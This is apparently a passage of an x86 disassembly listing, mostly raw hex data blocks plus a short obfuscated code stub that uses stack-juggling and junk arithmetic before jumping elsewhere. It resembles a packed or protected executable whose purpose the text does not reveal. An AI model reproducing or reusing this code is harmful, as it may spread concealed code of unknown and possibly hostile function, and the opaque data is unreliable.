		dd 11E906h, 3A720000h, 47E82A96h, 0F6649EE1h, 0CDE1F487h
		dd 80AB28A8h, 840F003Eh, 88h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 8CC35343h, 0D3CA4994h, 0C55BD89h
		dd 6AA40607h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 6A2BC353h, 6BAA8282h, 0E96FE0DDh
		dd 0Dh,	2A75BDF2h, 6E3A9AB5h, 0A3DFED5Ah, 0FF95E93Ah, 6AFFFFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 13053C3h, 9D294D4Ah,	6072CEDh, 6AC02Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0B8B18AC3h
		dd 33698531h, 8E0F0607h, 6, 0BFD8589h, 6AAA0607h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 60CBC353h, 0FC88B66h, 383h, 12E68000h, 0F08B6061h, 1CA58D23h
		dd 0B8610607h, 7, 7D85C7F8h, 106071Dh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 7544C350h, 57347FABh, 0D1A9B647h, 6860Fh, 85090000h
		dd 6070745h, 0B48D8DF5h, 6A06074Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0FCDBC353h
		dd 304CD976h, 0BD8B6000h, 6073309h, 38D0Fh, 8B660000h
		dd 0E1FF61D6h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	72C35242h, 6B05611Eh, 0F878F846h, 2D49BD89h, 0E8600607h
		dd 0Bh,	0B74EA44h, 0EC2F2C52h, 0F9410ACh, 8Ch, 8B615800h
		dd 550C245Ch, 0E8h, 0ED815D00h,	60A9114h, 0B8838Bh, 85890000h
		dd 60A78D4h, 8E78858Dh,	8389060Ah, 0B8h, 0C3C0335Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F7C35343h, 4981FF87h
		dd 0CE9DC1Dh, 0
		dd 0B785CA53h, 0FFD56DCBh, 6ABA7BCFh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0AD62C353h
		dd 0FE1D63DFh, 303DC193h, 0F55B509h, 840F0607h,	8, 8C0F60h
		dd 61000000h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 69D01DF5h, 858DD842h, 60A938Eh, 0BE96060h
		dd 4D000000h, 0BC8FA46h, 3CAB9466h, 9D29596Ch, 6072645h
		dd 0F506161h, 1B83h, 0EE96000h,	4B000000h, 1CC24FEEh, 82FC2741h
		dd 0C7E73C54h, 800F74h,	61000000h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0F212C357h, 1D320E0Fh, 8060B8F7h, 8166BDC8h,	61F6E1F6h
		dd 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 2F60C353h, 0D3FBB850h
		dd 0BD8B6024h, 6070959h, 15ED8531h, 31610607h, 708F5B5h
		dd 51858906h, 6406070Ah, 2589h,	85310000h, 6070171h, 93FE858Dh
		dd 0AE9060Ah, 6C000000h, 23BDE8C0h, 4E5035A2h, 1608984h
		dd 4D85C6F9h, 4F06071Ch, 0A840Fh, 89600000h, 703ED9Dh
		dd 61D78B06h, 2605AE68h, 8B6660F7h, 0C88B66FBh,	24048161h
		dd 7A26E7Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0EFC35141h, 70E98CC7h, 9F8A6EEh, 7174D8Dh, 0EDB5FF06h
		dd 6A060712h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 90FFC357h, 60CD36B0h, 1C758D89h
		dd 0BD8B0607h, 60712F1h, 0FE858D61h, 6A060A7Ch,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 4FE3C355h, 989116E1h, 229C34B6h, 3CD9D09h, 0D0FF0607h
		dd 0C8C0Fh, 880F0000h, 6, 0F799589h, 8CE90607h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8B44C351h, 550C245Ch, 0E8h, 0ED815D00h, 60A9398h
		dd 1A9858Bh, 85890607h,	60712EDh, 16BD858Bh, 85890607h
		dd 6072C7Dh, 1589858Bh,	85890607h, 6072EC5h, 1C4D85C6h
		dd 0C7000607h, 0A7E3385h, 6, 0FE858D00h, 89060A93h, 0B883h
		dd 0C0335D00h, 7E9C3h, 3A100000h, 4D1EA6ACh, 1810FDEh
		dd 0F9000000h, 0C19D09F9h, 0BC06071Dh, 12FF74h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0D2C35141h, 0BEA2512h
		dd 8F64F838h, 5, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 7E30CA14h, 6A04C483h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0F9ADC352h, 85096060h, 60708F5h, 0FB82BE66h
		dd 0E8616161h, 6, 78233362h, 858B1A7Dh,	6072EDDh, 499D895Eh
		dd 8106071Bh, 6991C6h, 0CFB70F00h, 68h,	52B96600h, 95295B93h
		dd 6072C95h, 511E148Bh,	5FF88B66h, 6F63EA81h, 0EA8103A5h
		dd 1A7C6DEFh, 2DA1BD8Bh, 0F2810607h, 5D778523h,	172D858Bh
		dd 81520607h, 0D1214DF1h, 1E048F33h, 58CBE781h,	8D895959h
		dd 6071B05h, 6601EB83h,	4B4BFE8Bh, 8D8B524Bh, 6072B5Dh
		dd 0CFB8159h, 0FFFFF97h, 0FFFFA785h, 10E8FFh, 5DE0000h
		dd 0A59F0E12h, 7213CF07h, 0FD9647F7h, 0B5890D2Ah, 60730E5h
		dd 13E858h, 0CE830000h,	925579A4h, 5209A7EDh, 135F7BD2h
		dd 55A28302h, 0BD89BA8Dh, 0F5E4CDEh, 0C681D3BFh, 5F54h
		dd 0B89CBF66h, 179EB8h,	0DE800h, 85B20000h, 31E475EFh
		dd 5DE8B81h, 899F0E12h,	70FA9B5h, 36FF5A06h, 9958D89h
		dd 8B590607h, 732A19Dh,	94C18106h, 36E252Fh, 71BB1BDh
		dd 0DBC18106h, 8A4D58AEh, 62F181DEh, 0E946F488h, 6, 0B74DA1EFh
		dd 0E8519003h, 0Ah, 23F3CDBAh, 692CD4B8h, 958BB706h, 6070981h
		dd 1068F5Fh, 72C3595h, 2EE8306h, 31AFCB81h, 4E4E59B3h
		dd 19850F48h, 8B000000h, 71CA19Dh, 2CE906h, 7F250000h
		dd 178BE8CEh, 4ABF12FCh, 0C04FBCBBh, 1065BD8Bh,	77E90607h
		dd 0A2FFFFFFh, 0F4757FF2h, 31DF0B9Fh, 4370348Ah, 5D28EAF0h
		dd 0E5E927DEh, 10000000h, 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah
		dd 3733538Fh, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h
		dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h
		dd 2060E0E0h, 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh
		dd 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h,	0A335375h
		dd 557D2F0Dh, 60206020h, 0A7286020h, 50F0362Bh,	0B6F360D6h
		dd 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h
		dd 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h
		dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	357D2F6Dh
		dd 0E0A1Eh, 0A766C1A8h,	43F2FD54h, 69A49EDBh, 0C83E9h
		dd 99756800h, 7BE9060Ah, 68FFFCE6h, 60A9A47h, 0FCE671E9h
		dd 9AF068FFh, 67E9060Ah, 68FFFCE6h, 60A9BF6h, 0FCE65DE9h
		dd 9C8568FFh, 53E9060Ah, 68FFFCE6h, 60A9D51h, 0FCE649E9h
		dd 9E8468FFh, 3FE9060Ah, 68FFFCE6h, 60A9F63h, 0FCE635E9h
		dd 0A03B68FFh, 2BE9060Ah, 68FFFCE6h, 60AA0EFh, 0FCE621E9h
		dd 0A1B768FFh, 17E9060Ah, 0C0FFFCE6h, 0BE53BBEDh, 71ECF45Ah
		dd 24394117h, 9C7199CFh, 6C8DD583h, 0C094F1F2h,	1A4EA5B8h
		dd 55031FF2h, 0ACF2D00Dh, 0CE29CB44h, 3075C68h,	0A2C2B828h
		dd 0A2441E44h, 0CB972F08h, 0EFD7050Dh, 0DCBCA6Ch, 0B4BA8A05h
		dd 5EE46B21h, 0D355F50Dh, 88E86346h, 65C49EC6h,	95D1470Dh
		dd 0C8CA73F5h, 0A02C0AE4h, 9D124B6Bh, 7B5964EFh, 9D4E040Ah
		dd 8F55BDE5h, 0F5461C59h, 0F3480C4h, 43096984h,	0A6BC1D1Bh
		dd 1D75E8F0h, 0E1AF9D37h, 1797B879h, 0F42E08D8h, 2A358706h
		dd 6838F91Bh, 0A5D368Bh, 6B411103h, 85EDB393h, 83D1320Fh
		dd 65F5B09Dh, 0D0706ACFh, 292F754Dh, 0A5964AA8h, 30A7A11h
		dd 3F396151h, 191F45A2h, 0F658B8h, 0C4E9C397h, 2013B54Fh
		dd 30A7A9Eh, 2CA589ACh,	631F2140h, 0F048ED53h, 385717EDh
		dd 0F6886C68h, 0E8A2CA90h, 0EB6D3311h, 2261EBBBh, 0E9B5E267h
		dd 522h, 1E44A26Fh, 0F359B918h,	870341EBh, 1DB7FFA9h, 0C5EEF57Bh
		dd 810A08B7h, 0C536C44Fh, 82428AEAh, 345618A1h,	0EE68580Fh
		dd 97FDD534h, 0C625E5A1h, 30A3474h, 4DD4D83Ch, 0B5E26606h
		dd 578Dh, 7F954B00h, 8B0496F3h,	110B62DDh, 4E06F038h, 0BAF34C06h
		dd 5A0F340Eh, 902AEC6Ah, 0A0E1FA7h, 0B7575F03h,	0A0E06B4h
		dd 4ECD2703h, 7CFA2268h, 65D3819Dh, 0F4B93307h,	81981C70h
		dd 0EAA0CEFh, 0DAEA030Ah, 0E8F3700h, 0E7CF030Ah, 2FE6AD27h
		dd 0C6ADB5E2h, 0AB000000h, 181E44A2h, 52085CB9h, 94FC01ECh
		dd 1BF6D43Dh, 0B8EC6A3Eh, 0B3930EE8h, 88EE6BEDh, 10B9BAC2h
		dd 0D1050D1Dh, 8E43ABF1h, 0D274E2A8h, 89DF3AB4h, 18F18B41h
		dd 0B9BA6A3Ch, 0F34465Ch, 613711ECh, 0D09D6339h, 8F46459Dh
		dd 6ED023F9h, 2E030A66h, 0E40E4606h, 1C1FB5EEh,	935BA88h
		dd 0F34E042Ch, 1E56C090h, 3F12B44Eh
		dd 4CD17127h, 0DD2573h,	0A987127h, 28090F2Fh, 92F5B32h
		dd 0F0D70000h, 0B78D40A8h, 684499E1h, 0DA3BD63Eh, 96F36E76h
		dd 0DF9BBAC2h, 55BDEBC4h, 0EFF759B8h, 3A421072h, 7199CF27h
		dd 85393ADEh, 0C5030752h, 4E5E75Dh, 71FF792Fh, 418F285h
		dd 43034B7Bh, 0AFB79DFEh, 0E60E54B2h, 267F950Ch, 0C1DA936Ch
		dd 0A3A0F34h, 0C12F930Ch, 6367030Ah, 75C18689h,	0B748B5E1h
		dd 8C000000h, 181E44A2h, 0B9B670FEh, 0FCD1574Bh, 0A0F4D12Ch
		dd 929435B6h, 7D55050Dh, 0D023E7C2h, 50D9D6Eh, 58DE062Eh
		dd 419CE42Ch, 6B3D3B61h, 9162387Dh, 0F34C974h, 4E94FCC4h
		dd 0A8815B18h, 571F194Fh, 0C912EDB7h, 2F093565h, 0B4A2F0D2h
		dd 51AC50F0h, 23F92177h, 5FA7EDCEh, 0C226A182h,	0A2EA9A9Ch
		dd 0E8045ABh, 607DF309h, 85Dh, 0BEC682E5h, 0F71F41A3h
		dd 46C3A1Ah, 5CA4E8C9h,	0E8F0A481h, 0B5960D49h,	6F4A87EFh
		dd 223CD139h, 91F16C74h, 48ECA3CBh, 75157EFh, 358F1703h
		dd 7E2804E5h, 227653AEh, 3F78268h, 3ED688AAh, 9A4A72D8h
		dd 0D1879F72h, 44A23389h, 4FA2441Eh, 73332573h,	0DCB3E80h
		dd 0DB367E05h, 7FF9A9FFh, 0B6DE84E2h, 0EBF98490h, 662710CAh
		dd 960F34EFh, 0F4904BAEh, 1600724Bh, 0EE9A3F0h,	0F7FB9EB1h
		dd 1DC73101h, 8472243Ch, 0DC0A00C0h, 0CA72CD87h, 76F1FB36h
		dd 5DB5944Eh, 1472EFF7h, 46EBD74Eh, 0B3A9105Bh,	7B4DAh
		dd 2D7B5200h, 662808C5h, 0B3E5C31Eh, 0B51B6ABh,	470D6EE3h
		dd 7F641E3Fh, 332E3662h, 0E57880D0h, 5EB3DB89h,	55CA1278h
		dd 51FE40B3h, 0D6BE0307h, 1E44A25Ch, 488EE544h,	0DCB57EFh
		dd 0E72F1705h, 93953571h, 0C882D331h, 567BB362h, 0A87877EBh
		dd 0C5E02112h, 0F5100F34h, 541B79Dh, 796FB5DDh,	4295663Ch
		dd 8609345Fh, 0DF590F6Bh, 54B56F97h, 7B2B2D7Bh,	0DA3811ABh
		dd 0D41C40A1h, 2B71518Ch, 284D9B2Dh, 0D3859F72h, 3DD76933h
		dd 707CC2h, 0A5191A05h,	0E5050070h, 0EBC421DDh,	0C30BBBBDh
		dd 0CEA42003h, 1BF60F3Eh, 0C7BB6B3Dh, 0E98325FFh, 0AE6A80Eh
		dd 0C97F9A03h, 0D62B5972h, 0E77A2A1Ah, 66300C8Fh, 0DB3BD63Eh
		dd 3A05DF75h, 30A6184h,	0CA2CFCC4h, 31857608h, 71030A61h
		dd 5D8B8141h, 16A84218h, 898ADE3Bh, 30A6135h, 0E8BE9875h
		dd 2EFE266Eh, 334330CDh, 59B08009h, 91CC267h, 0AE76170Dh
		dd 54000006h, 12CF1771h, 0C5186036h, 0B855BDEBh, 70EDF55Bh
		dd 18394117h, 3C68455Eh, 76DA39D4h, 0C197F36Eh,	184EA4B9h
		dd 0BA855FF0h, 3075004h, 9566DC44h, 0F34BB47Fh,	0B3050DCBh
		dd 0B6815B83h, 0F337532h, 55B46E56h, 55CF177Dh,	16CC9AF4h
		dd 75D9125h, 21E1D103h,	6B45C6DCh, 0D18B3B3Dh, 75DD066h
		dd 78A09003h, 0B03E54FEh, 32120F51h, 8AB2F264h,	793D3ED0h
		dd 3903075Dh, 0B0835909h, 93E6773h, 745AB383h, 6090FBEh
		dd 61F6D00h, 0C0270000h, 879D7098h, 785489D1h, 2A0BC62Eh
		dd 0E6C31E66h, 0CF8BAAB2h, 45ADFBD4h, 9FE7A988h, 2A326042h
		dd 6189DF37h, 95290AAEh, 0D5030757h, 7F95F74Dh,	56C090F3h
		dd 0C33CD61Eh, 0F337218h, 233ED4DCh, 98759DC3h,	0B062D4BAh
		dd 76167A59h, 0FC7FB6DCh, 3075D3Ah, 0E5730C08h,	1AD6037Dh
		dd 9628E22Ah, 7CC11A5h,	72A75103h, 940173Bh, 7D07C70Fh
		dd 39450682h, 0BE977209h, 6D47FF78h, 3F07050Dh,	7315CFF7h
		dd 0FB13BB9Eh, 11B88EF4h, 0BE83438Bh, 77EAF258h, 6346DB1Fh
		dd 888B3B3Dh, 50D9B36h,	10064E76h, 490350B6h, 3F1A91F0h
		dd 7FA7EF69h, 0CD2A15AFh, 5B0F34B9h, 0EFBFE5C6h, 0ECA4373h
		dd 8C0315DCh, 553F796h,	9CF30000h, 4BA9A4CCh, 460FD05h
		dd 0FED70A52h, 0B28F42AAh, 37F9EE6h, 89D187E0h,	0C32B7D54h
		dd 1E662C0Eh, 55BDE3C3h, 59DD5EFAh, 19030756h, 44A23389h
		dd 59B9181Eh, 0AC299B61h, 0FEFD65D0h, 0D90B97Dh, 81C9F905h
		dd 0B15DA379h, 42856409h, 0FE143EEEh, 0AF0CEFA5h, 0EF0F3451h
		dd 5CDE51C7h, 7D030A33h, 54C53361h, 0E52F297Fh,	0D692179Dh
		dd 3017FAF2h, 0F7B5E25Fh, 4Ch, 267F957Dh, 0C1DA936Ch, 0A3A0F34h
		dd 3464CA0Ch, 25CCDD4Bh, 0E654D777h, 0AE030A21h, 58DB3514h
		dd 6AEC147Ah, 866E6A3Ah, 0E255C483h, 8B740EB5h,	30A1533h
		dd 0EFB59673h, 0D018E7A7h, 0FC000000h, 0E751071Dh, 452B2AFh
		dd 0C8B25212h, 0E9CB44A2h, 0CDF5B1A7h, 0A7EDCE4Bh, 0B1320CEDh
		dd 5E160054h, 61F07616h, 7CDD5B01h, 2B283066h, 50DC786h
		dd 0D1396F47h, 8670263Ch, 0A77D262Ch, 66266C4Ah, 0EB5263DCh
		dd 0D2E20F34h, 3162608Ah, 0FCA9959Bh, 0A57497Ch, 1D5FE750h
		dd 171F030Ah, 152AD77h,	0F10935C1h, 0D5360BC1h,	89EA678Fh
		dd 0EBA042DBh, 0C02090Eh, 42071h, 99CF2600h, 0D2849C71h
		dd 2F79578Ah, 672D0AC7h, 0B3E1C21Fh, 0D3D08AABh, 875AA2F6h
		dd 7994FCACh, 322F371Dh, 0A9668ED4h, 558A2C0Fh,	5ACA0307h
		dd 1341A2E0h, 0DE80E079h, 147C2C58h, 16699F9h, 0B4A9DD5Bh
		dd 470F095Fh, 0EF5DF71Fh, 5EB7F0DDh, 3803040Ah,	0E5C6BC6Ch
		dd 0C1E14817h, 9737880Ch, 540E57BDh, 34ECA2EBh,	71C2640Fh
		dd 30AECCDh, 4C12708Dh,	0A8984404h, 0EC8D2DAEh,	54AC030Ah
		dd 71C21402h, 30AECCDh,	49A8A58Dh, 2AAC1107h, 1509FDC2h
		dd 91DBB89Fh, 7AA2B5E1h, 0A6000000h, 181E44A2h,	0E085CB9h
		dd 0DC73C8Dh, 0BFE5FD05h, 0F65CBA57h, 0F3A0A600h, 0EBD1DE59h
		dd 51610F34h, 0B0E5E309h, 3AAF191Ah, 2B1B0935h,	0E9BF9871h
		dd 25734C81h, 0EBB042Ch, 21BCB209h, 341h, 52BAEEC1h, 0EBF3A5BFh
		dd 38401676h, 7098CC25h, 8CD4809Dh, 91F2F16Dh, 43A6BBC3h
		dd 3E18F51Dh, 0F5CD0068h, 2CC847AFh, 7546BD3h, 0C1BB2B03h
		dd 0CB1341A2h, 26A3016h, 1E44A2A8h, 0DB24FE18h,	50DCB63h
		dd 0C2346242h, 6C6EE82h, 42A0DB3Bh, 9A8CD41Ch, 38FC580h
		dd 0CDF97F21h, 336CCF85h, 0E50F34EFh, 0F87E2804h, 96601CCCh
		dd 82F7C8FEh, 5EE05380h, 1E030A37h, 53A6EE16h, 0C1AE7A98h
		dd 2D769CA7h, 0FE28977h, 2E91114Bh, 6A5BA47Eh, 0DAAD0670h
		dd 8CDA6CEAh, 7AC23DD7h, 0C6AB068Fh, 3FFA7A38h,	4D7505CEh
		dd 1CFD97h, 6F51E556h, 1063A732h, 0D192F9BEh, 0B08321DDh
		dd 0A732240Eh, 6E3E664Eh, 371D75D4h, 8ED4322Fh,	0DD5E6797h
		dd 0CEAFA566h, 269h, 8AD2B699h,	0C32B7D57h, 10782E0Eh
		dd 0A8B0E4FDh, 0E40C58B5h, 0A98A1955h, 1B7E93FBh, 0D6302D35h
		dd 8DE57880h, 44E0BFC7h, 76B43FBh, 19930303h, 441E44A2h
		dd 9D98FE5h, 164F852Fh,	9454DA7Ch, 81391D6Ch, 8B85393Ah
		dd 3BC5050Dh, 5314D55Dh, 34D41CE1h, 1D75D46Eh, 83949737h
		dd 0C30F340Eh, 53BDEBF3h, 0A3793A28h, 3523694Eh, 280BD171h
		dd 933086Fh, 3462429Fh,	2D7B57C2h, 0A158BDE5h, 0B9BFA115h
		dd 0AC095F3h, 0BA638C29h, 2F43CB3h, 5BF1A2A0h, 54BA881h
		dd 0CB56E645h, 0DAEAB5BAh, 83C92900h, 0DA80E67Bh, 9952BD43h
		dd 0E8857B4Ch, 1B5h, 0C62E7A4Dh, 1F67290Bh, 0ACB4E2C2h
		dd 0E40C50B1h, 30580C69h, 1D7E65E1h, 0D7322F37h, 8AE47981h
		dd 7959B4DCh, 0B054CB13h, 76BFF47h, 5DD7BF03h, 181E44A2h
		dd 411B588Eh, 34C875F6h, 0C52D150Fh, 0CF053EC3h, 0D45AFC96h
		dd 0E34647BFh, 9D21127Dh, 0DD030A4Fh, 7EFDADD5h, 9336B41h
		dd 0F57481B1h, 0BC1847A1h, 0CFC0F947h, 3416FBB5h, 0BA8BE94h
		dd 4D49E651h, 0C9F9B7C6h, 0B6EFE54Fh, 0E59D231Ch, 2A07B1C6h
		dd 0E89C9AC8h, 4BA94438h, 78A0F6D0h, 30B639F6h,	236B4FD4h
		dd 0D264D769h, 0F3BDF2DDh, 333CF91h, 0AE7B943h,	0B7FF792Fh
		dd 0DD9C221Dh, 0D4DCBDF2h, 83C92934h, 0DA80E67Bh, 1E37C743h
		dd 96F76D50h, 0EDh, 0E563215h, 47AFF1D3h, 94FCAA8Ah, 2C341879h
		dd 7880D431h, 25069DD9h, 9FFA177Fh, 52ACA1C9h, 161FC04h
		dd 0F89C335Bh, 76AC77Fh, 0A51F8703h, 0EBCB44A2h, 4194BBA5h
		dd 0E0436F1Dh, 0FE14BEB8h, 3212EFA5h, 1D1EA464h, 0F345E74h
		dd 8D0C6984h, 3272E4B0h, 5FE7500Ah, 1F030A20h, 0D87EF17h
		dd 2036886Bh, 4E76030Ah, 55EB49Eh, 9951EC4Fh, 0DDE50934h
		dd 6798FE5Bh, 0CD155D0Bh, 0FC42BD57h, 0CE0500B6h, 0FEDB3A42h
		dd 5CB935B7h, 77EA1244h, 809D4D1Bh, 88563AA2h, 4B1C14DFh
		dd 96F04903h, 4E1E56C0h, 0B75C77E8h, 0D1B5F552h, 7D2303DBh
		dd 0B49AF815h, 5DB99042h, 6B93C122h, 1B41A6BBh,	816B4F1Dh
		dd 0BBC389E9h, 782E08E1h, 0B16B6FEh, 9AF3652Bh,	15h, 0A943E526h
		dd 0DCBE84Eh, 9B98A805h, 50DCB23h, 75B35363h, 1D4BA283h
		dd 0F258BE1Bh, 0EBB99504h, 0C395EC6Dh, 0BDEBC455h, 97FDDEBBh
		dd 8DD330A1h, 782E0E8Bh, 5F0163FEh, 545332D9h, 4C3815Bh
		dd 83000000h, 1C8704EBh
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	38B0h
		mov	[esp], eax
		push	25CCh
		mov	[esp], ecx
		mov	ecx, 60A9762h
		mov	edi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edi
		add	dword ptr [esp], 0D7F7C83h
		pop	dword ptr [eax+8]
		push	ebx
		mov	ebx, 699022FEh
		or	ebx, 0FF15C0Fh
		dec	ebx
		sub	ebx, 47595396h
		xor	ebx, 13B731EEh
		xor	ebx, 7B29556Ah
		add	ebx, 0CD792C97h
		sub	[eax+8], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54311E
; ---------------------------------------------------------------------------
		dw 1F2Ch
		dd 0EBCEC0E2h, 0C7F0F627h, 301028E7h, 0AA2C9B8h, 0FFC50306h
		dd 633DEFE0h, 19F55324h, 0FB590B65h, 0D6F98352h, 7A977555h
		dd 0C681070h, 0E14E2733h, 1B4B0511h, 47B99169h,	6D216D41h
		dd 148E970h, 500000h, 540000h, 580000h,	5C0000h, 600000h
		dd 640000h, 680000h, 6C0000h, 0B00000h,	0B40000h, 0B80000h
		dd 0BC0000h, 0C00000h, 0C40000h, 0C80000h, 0CC0000h, 0D00000h
		dd 0D40000h, 0D80000h, 0DC0000h, 0E00000h, 0E40000h, 0E80000h
		dd 0EC0000h, 38h dup(0)
		dd 57B20000h, 50EB0057h, 858D009Fh, 60AA3ADh, 18C0Fh, 89F90000h
		dd 0AA4ED85h, 65BD2906h, 0E906072Ch, 0Fh, 637247A3h, 699B9906h
		dd 0AA0098EBh, 0C6ABABE1h, 71C4D85h, 0EE95406h,	88000000h
		dd 9A632649h, 37B4DE58h, 4CBBBA13h, 0EC50689Ah,	830FCD0Dh
		dd 0Dh,	8E9h, 5A3F0000h, 0BD20D5A4h, 243481ABh,	236F8479h
		dd 2AD98D09h, 0B5FF0607h, 60712EDh, 68E0Fh, 95890000h
		dd 60720C9h, 0AD26BE66h, 7CFE858Dh, 34BE060Ah, 0FF4A1E85h
		dd 12E8D0h, 0D8940000h,	5A6A33FBh, 0D6FC3BE1h, 0A513D8BCh
		dd 672B9BF3h, 2B2DB58Bh, 8B5E0607h, 0F18589CAh,	0B6060AA4h
		dd 43E984h, 8D8B0000h, 6070FE1h, 0EDB58B56h, 89060AA4h
		dd 0ED858306h, 4060AA4h, 8D60C35Eh, 0AA3ADB5h, 560FEB06h
		dd 36FF006Ah, 0A4F195FFh, 835E060Ah, 3E8304C6h,	61EC7500h
		dd 198D29C3h, 8B060732h, 7315D95h, 0C9858D06h, 89060AA5h
		dd 701318Dh, 0D5858906h, 0EB060715h, 0E09104Bh,	1AC53C2Fh
		dd 0A4ACDA4Bh, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h, 29B327CEh
		dd 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h, 46088Ch
		dd 0D5A3EA1Ah, 0
		dd 0FEC8199Ch, 0FE480000h, 0FBh, 27E64128h, 0C3727DD4h
		dd 0C57E9h, 8E900h, 19D40000h, 0FE0BD3Fh, 0BD83318Ch, 6071995h
		dd 5C850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 2973C351h, 8A0F95BBh
		dd 6, 33099D8Bh, 0B80607h, 6A000000h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 3CC7C350h
		dd 0C2CC59E8h, 8D8B3BEBh, 6072BD1h, 8B0004C2h, 83DF8BC0h
		dd 73101BDh, 9750006h, 0A55BD83h, 74000607h, 8B535013h
		dd 4D0B8C0h, 9D8D0000h,	609B1C6h, 585BD3FFh, 0A55BD83h
		dd 74000607h, 0B8535011h, 4D0h,	0B1139D8Dh, 0D3FF0609h
		dd 860F585Bh, 6, 1DC19D89h, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 353CA2C3h
		dd 1F3E77CAh, 0C08B3484h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0C4C35343h, 688288ACh, 4966169Ch, 2C01952Bh
		dd 858D0607h, 60AA64Bh,	6115BF90h, 505026BBh, 5E952h, 0D69B0000h
		dd 0FB661D1h, 0DA8B6631h, 0F90585Ah, 83h, 7EF8BA00h, 858D7BE4h
		dd 60AA608h, 0FE9h, 0A2D0B000h,	69CC6ED4h, 8DD8E6h, 8546AE49h
		dd 90FA8B66h, 9CA39DBFh, 8E85017h, 0B0000000h, 172772E3h
		dd 0B51FD8B8h, 8B905BD4h, 0AD95FFDFh, 0E8060721h, 5, 85499974h
		dd 918589B4h, 5A060705h, 424448Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 5C35040h, 0E8576071h, 13h
		dd 3A83DA0Fh, 494B9DDh,	8C0252D9h, 0B0C6A2DAh, 5A963FECh
		dd 39BD8B59h, 6106071Bh, 0A6338589h, 0BD29060Ah, 6071B6Dh
		dd 824448Bh, 6D8589h, 85890607h, 60AA647h, 2A398D29h, 0BD830607h
		dd 6071D49h, 0F4850F00h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 5E0DC355h
		dd 8B666801h, 4D85C6F8h, 4706071Ch, 0E85FF957h,	4, 0D49AA7D2h
		dd 0C890Fh, 52500000h, 890F310Fh, 0
		dd 8B50585Ah, 0BF042444h, 26914CDCh, 0B966008Bh, 4489CC11h
		dd 89580424h, 718F595h,	68F0F06h, 8B000000h, 703D59Dh
		dd 0EDB5FF06h, 6A060712h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0E594C352h,	99C3E836h
		dd 13E950BEh, 64000000h, 0F7EBF66h, 597E813Ah, 0B616AC8Ah
		dd 4340EF6Ah, 8D5BBE80h, 0A7CFE85h, 0D98B6006h,	8961D5B4h
		dd 72B09BDh, 6AD0FF06h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 3A70C356h, 8239F28Ch
		dd 8589A8EFh, 6071D49h,	2FA58D8Bh, 83FC0607h, 73185BDh
		dd 850F0006h, 8Bh, 3369BD89h, 85C60607h, 6071C4Dh, 68D98B47h
		dd 0DF57182h, 10E9h, 5604FB00h,	0D6245625h, 42022054h
